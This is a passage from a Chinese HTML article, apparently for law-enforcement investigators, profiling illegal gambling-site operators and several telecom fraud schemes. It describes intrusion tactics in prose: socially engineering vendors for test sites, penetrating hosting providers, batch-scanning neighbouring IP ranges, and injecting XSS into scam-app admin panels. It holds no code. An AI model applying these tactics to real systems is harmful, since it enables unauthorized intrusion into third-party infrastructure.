initial;"><li style="box-sizing: border-box;margin: 0px;"><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">源码级团队</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">服务器级团队</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n10" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">保姆级团队</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">自运营赌博包网</span></p></li></ul><h5 cid="n13" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">源码级团队：</span></h5><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">仅提供软件服务，即提供站点源码，web服务搭建，数据库搭建，网站非正常运行恢复等服务。服务器、域名服务、cdn服务往往会以合作推荐或绑定的方式将境外小型云服务厂商或idc机房提供给客户。活动站与主站使用同一套源码或相同开发语言cms的可能性较大。客服软件一般由客户选择，或为国内常见客服软件，客服软件公司与菠菜源码提供团队关联性较小。</span></p><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">该类网站源码提供团队日常运维介入感较低，网站漏洞被明显利用时（水坑，sql注入跑数据）被发现几率较小，或有明显滞后性。网站后台往往暴露在公网。针对外部威胁情报反应较慢（eg.360安全客：黑吃黑-flash水坑攻击分析文章）。运营人员及客服安全意识较低，安全知识普及来自网站买家（管理员），与管理员的关联往往为等社会关系较近的家人、同学、同乡等关系。涉案金额几十万到几百万不等，国内代理层级较为简单或无代理层级，seo相关信息较少。</span></p><p cid="n16" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">针对该类网站的渗透，往往在信息收集阶段可找到对应idc机房或云服务提供商的站点信息，根据web指纹手机可看到相同源码站ip分布情况往往为同一c段或几个相邻b段。该类站点渗透可私聊源码提供团队客服，在获取信任后索要测试站点</span></p><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">进行渗透。在有警方兜底的情况下，可通过对idc机房或云服务厂商进行渗透来最终拿到主机权限，也可针对c段其他机器进行批量渗透扫描，以获取源码为目的进行打点。</span></p><h5 cid="n18" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">服务器级包网团队</span></h5><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">提供服务器与网站源码，并为客户进行收费的更新迭代、日常运维维护以及提供活动站（抽奖轮盘等相关站点）、第四方支付接口、第三方客服软件等周边站点的上线维护，存在专业技术人员为客户答疑、远程调试，包网团队常以公司形式进行签约服务，所在地通常为菲律宾马尼拉的索莱尔大厦等地。团队运营时间通常为5-10数年不等，目前接触运营最长时间团队为26年（自1995年起）。在当地属合法企业，并为员工配备有健身房、食堂、下午茶等服务，客服为两班倒或三班倒形式，值班期间不允许玩手机，充值往往使用第四方支付或通过微信等在线团队私聊方式从上级处收到最近一段时间的四件套的银行卡号、二维码。涉案网站往往组织架构较大，在国内存在多级代理团队，幕后管理员往往和包网团队一样在境外，通常聚集在缅北、菲律宾，少数在越南、马来西亚等地，生存时间较长。团队增大后人员往往技术人员通过国内招聘平台高薪诱导，客服运营通常为村镇级外来务工人员的老乡间互相介绍。</span></p><p cid="n20" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">网站后台若开在公网往往以长随机字符子域名，或另一域名的长随机字符子域名形式存在，后台往往存在多因素认证（ip白名单、谷歌验证码、https证书+随机密钥等形式）。若网站后台开设在内网（通常开设在内网），则客户往往通过teamview、向日葵等工具连接至境外跳板机进行访问或通过vpn产品进行连接访问。涉案网站与该团队运营的其他客户网站往往存在域名、ip段、源码、活动站等相同特征（客服软件通常使用国内美恰、百度等客服软件，常由客户自行选择），往往使用相同cdn产品或干脆为包网团队直接提供cdn服务。在搜索引擎上可搜到大量seo推广信息。部分老牌服务团队可根据搜索引擎结果看到1.0-n.0产品迭代。</span></p><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">其中老牌团队业务方向往往不限于棋牌类等在线赌场业务，还包括钓鱼、体彩、棋牌、电子竞技（lol、dota2、cs go等）等形式，其旗下单个客户站流水每月几亿到十几亿不等。由于在当地为合法企业故外网站点会采购包括深信服在内等厂商的安全设备（waf、ac、vpn等）。</span></p><p cid="n22" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">目前外挂、破解游戏团队极少使用破解分销一体的手段进行牟利，大多数游戏破解团队使用层层分销的形式对外挂进行售卖，所以外挂游戏侧的线下打击也要分两步走，首先对售卖平台的卖家团伙进行打击。其次，需要从落网的卖家侧关联外挂制作团队人员信息，并进一步进行摸排贴靠打击。</span></p><h5 cid="n23" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">保姆级包网团队</span></h5><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">该类包网团队除提供网站、服务器、cdn、域名注册等服务，为防止客户被伪造团队人员身份的hacker钓鱼攻击，还为客户提供24小时客服交流群，除群组外完全不进行私聊，并为客户提供网络安全意识培训，使用户除商业行为外完全不需要考虑网站开发运维等技术问题。还为客户提供活动页面设计等服务。内网存在堡垒机、防火墙、流量监控等设备，公司组织架构明确包括开发、运维、销售、运营等团队，在github等网站公开进行社会招聘，往往为台湾或马来西亚公司，流水规模同样为几亿到十几亿不等，但服务费收费更高。</span></p><h5 cid="n25" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">自运营赌博包网</span></h5><p cid="n26" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">自运营大型包网，往往指技术力量充足，自行运营的包网团队，组织成员在境内以合法的开发公司形式存在，由员工在境内开发棋牌类游戏等网站，在境外为主导运营团队，负责网站运营、与国内代理进行直接接触。</span></p><p cid="n27" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">国际包网团队的发展形势和规模大小可根据每年亚博会展厅位置及场馆占地大小进行初步判断，往往实力越强，占地面积越大、位置越靠核心</span></p><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.phil-asiangamingexpo.com/zh/%E5%AA%92%E9%AB%94/%E6%96%B0%E8%81%9E%E7%A8%BF/page-%E5%B0%87%E5%BB%B6%E6%9C%9F/" target="_blank">https://www.phil-asiangamingexpo.com/zh/%E5%AA%92%E9%AB%94/%E6%96%B0%E8%81%9E%E7%A8%BF/page-%E5%B0%87%E5%BB%B6%E6%9C%9F/</a></span></p><p cid="n29" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://bbs.boniu123.cc/forum-2-1.html" target="_blank">https://bbs.boniu123.cc/forum-2-1.html</a></span></p><h4 cid="n30" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">电信诈骗</span></h4><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">电信诈骗因为诈骗话术、诈骗形式的不同分为以下几种类型</span></p><ul class="list-paddingleft-1" cid="n32" mdtype="list" data-mark="+" style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><li style="box-sizing: border-box;margin: 0px;"><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">裸聊诈骗</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">公检法诈骗</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">外汇诈骗</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">股票投资诈骗</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n42" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">杀猪盘诈骗</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n44" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">贷款诈骗</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n46" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">刷单诈骗</span></p></li></ul><p cid="n47" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">目前仅以常见诈骗形式进行举例，实际电诈形式根据一线干警总结应为59种，但总体形势较为相同：网站架构往往为单个服务器单个站点，易复制好搭建，在建站、源码平台易发现源码，搭站成本极低。但生存周期较短，诈骗人员诈一单就走，关站或弃站、删库速度极快，往往稍微慢一点（各种原因：包括报警慢、立案慢、到手慢、给账号慢等原因），涉案网站或app就丧失了打击的价值</span></p><h5 cid="n48" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">裸聊诈骗</span></h5><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">裸聊诈骗app往往无实际功能，诈骗人员诱使受骗人员露脸裸聊后安装后打开会申请短信、联系人等权限并上传到服务器（往往与管理后台为同一服务器）。</span></p><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">app功能简单，通常无加壳等各种处理，可直接逆向找链接对涉案服务器进行进一步渗透。之前市面常见且被多次分析的裸聊诈骗app除小后台外，存在大后台进行批量管理，可在地理位置处绕过过滤插入xss后通过嫌疑人机器找到相关信息。</span></p><h5 cid="n51" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">公检法诈骗</span></h5><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">直接访问相关站点往往为验证码或案件号登录框，输入诈骗人员提供的假案件编号后才会跳转到诈骗网站处，网站相关新闻、搜索框结果均为正常访问司法网站时跳转的链接，但存在假司法软件与假app，假app在安装后往往会获取银行短信验证码，而假司法软件为修改链接后的远控软件（teamview、向日葵等）方便诈骗人员为老年或幼年受害者操作转账业务。</span></p><p cid="n53" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">该类诈骗在app上传短信验证码的服务器往往容易成为案件突破口。但网站存活时间较短，受害人单次被骗金额较大，骗一单就走，直接放弃站点或关站。</span></p><h5 cid="n54" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">外汇诈骗</span></h5><p cid="n55" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">外汇诈骗团队往往为跨国多境外办事处形式存在，在境内为引流分公司，在境外多国多地存在办事处且拥有合法牌照，包括但不限于日本、迪拜及欧盟各国。诈骗方式为以高杠杆形式（200-1000倍）使受害人投资，然后使用假断网方式使受害人爆仓，但整个交易期间受害人充值金钱并未实际进行交易。该类案件由于办事处和组织首脑均存在于境外，打击抓捕落地较为困难，且在国内对相关人员打击后几乎不影响境外组织继续运营。</span></p><p cid="n56" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">涉案软件往往为外汇交易软件mt4，软件本身涉案可能性不大，尽量以涉案站点的渗透为第一目标。网站存活时间较长，往往不会因为国内组织被打击而关闭站点</span></p><h5 cid="n57" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">股票投资诈骗</span></h5><p cid="n58" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: 